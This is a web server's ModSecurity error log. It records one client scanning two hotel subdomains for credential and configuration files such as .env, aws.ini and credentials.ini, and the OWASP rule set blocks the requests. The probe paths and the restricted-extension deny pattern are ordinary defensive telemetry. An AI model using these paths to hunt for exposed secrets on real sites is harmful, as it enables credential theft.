[Sun Oct 25 04:06:29.558733 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/config/aws.ini"] [unique_id "at24hYHtOs-nfC4GshpR8gAAABc"]
[Sun Oct 25 04:06:29.729875 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/config/aws.ini"] [unique_id "at24hYHtOs-nfC4GshpR8gAAABc"]
[Sun Oct 25 04:06:29.730156 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/config/aws.ini"] [unique_id "at24hYHtOs-nfC4GshpR8gAAABc"]
[Sun Oct 25 04:06:29.559351 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at24hZ68N771hz7W4KlshwAAAAw"]
[Sun Oct 25 04:06:29.730709 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at24hZ68N771hz7W4KlshwAAAAw"]
[Sun Oct 25 04:06:29.730981 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at24hZ68N771hz7W4KlshwAAAAw"]
[Sun Oct 25 04:06:29.595436 2026] [proxy_fcgi:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 04:06:29.686942 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/config/aws.ini"] [unique_id "at24hbQKh4dfs72fmHxwOwAAAAE"]
[Sun Oct 25 04:06:29.732029 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/config/aws.ini"] [unique_id "at24hbQKh4dfs72fmHxwOwAAAAE"]
[Sun Oct 25 04:06:29.732252 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/config/aws.ini"] [unique_id "at24hbQKh4dfs72fmHxwOwAAAAE"]
[Sun Oct 25 04:06:29.727033 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at24hdxXWZMI2DaSlsHxcAAAABY"]
[Sun Oct 25 04:06:30.121684 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/config/parameters.yml"] [unique_id "at24htxXWZMI2DaSlsHxdAAAABY"]
[Sun Oct 25 04:06:30.121826 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/config/parameters.yml"] [unique_id "at24htxXWZMI2DaSlsHxdAAAABY"]
[Sun Oct 25 04:06:30.122046 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/config/parameters.yml"] [unique_id "at24htxXWZMI2DaSlsHxdAAAABY"]
[Sun Oct 25 04:06:30.189187 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/config/parameters.yml"] [unique_id "at24hqrU4NwppjTEGaL60wAAAAY"]
[Sun Oct 25 04:06:30.189302 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/config/parameters.yml"] [unique_id "at24hqrU4NwppjTEGaL60wAAAAY"]
[Sun Oct 25 04:06:30.189584 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/config/parameters.yml"] [unique_id "at24hqrU4NwppjTEGaL60wAAAAY"]
[Sun Oct 25 04:06:30.334138 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/configs/application.ini"] [unique_id "at24htxXWZMI2DaSlsHxdgAAABY"]
[Sun Oct 25 04:06:30.542836 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/configs/application.ini"] [unique_id "at24htxXWZMI2DaSlsHxdgAAABY"]
[Sun Oct 25 04:06:30.543089 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/configs/application.ini"] [unique_id "at24htxXWZMI2DaSlsHxdgAAABY"]
[Sun Oct 25 04:06:30.503059 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/configs/application.ini"] [unique_id "at24hrQKh4dfs72fmHxwQgAAAAE"]
[Sun Oct 25 04:06:30.558895 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/configs/application.ini"] [unique_id "at24hrQKh4dfs72fmHxwQgAAAAE"]
[Sun Oct 25 04:06:30.568850 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/configs/application.ini"] [unique_id "at24hrQKh4dfs72fmHxwQgAAAAE"]
[Sun Oct 25 04:06:30.503938 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/constants.ini"] [unique_id "at24hlTnwNJm6o1fQZIi-gAAAAI"]
[Sun Oct 25 04:06:30.590446 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/constants.ini"] [unique_id "at24hlTnwNJm6o1fQZIi-gAAAAI"]
[Sun Oct 25 04:06:30.590916 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/constants.ini"] [unique_id "at24hlTnwNJm6o1fQZIi-gAAAAI"]
[Sun Oct 25 04:06:30.611121 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/constants.ini"] [unique_id "at24hp68N771hz7W4KlsjwAAAAw"]
[Sun Oct 25 04:06:30.611311 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/constants.ini"] [unique_id "at24hp68N771hz7W4KlsjwAAAAw"]
[Sun Oct 25 04:06:30.611549 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/constants.ini"] [unique_id "at24hp68N771hz7W4KlsjwAAAAw"]
[Sun Oct 25 04:06:30.869073 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/credentials.ini"] [unique_id "at24hoHtOs-nfC4GshpR_QAAABc"]
[Sun Oct 25 04:06:30.869342 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/credentials.ini"] [unique_id "at24hoHtOs-nfC4GshpR_QAAABc"]
[Sun Oct 25 04:06:30.869580 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/credentials.ini"] [unique_id "at24hoHtOs-nfC4GshpR_QAAABc"]
[Sun Oct 25 04:06:30.911199 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/credentials.ini"] [unique_id "at24hqrU4NwppjTEGaL61QAAAAY"]
[Sun Oct 25 04:06:30.911444 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/credentials.ini"] [unique_id "at24hqrU4NwppjTEGaL61QAAAAY"]
[Sun Oct 25 04:06:30.911684 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/credentials.ini"] [unique_id "at24hqrU4NwppjTEGaL61QAAAAY"]
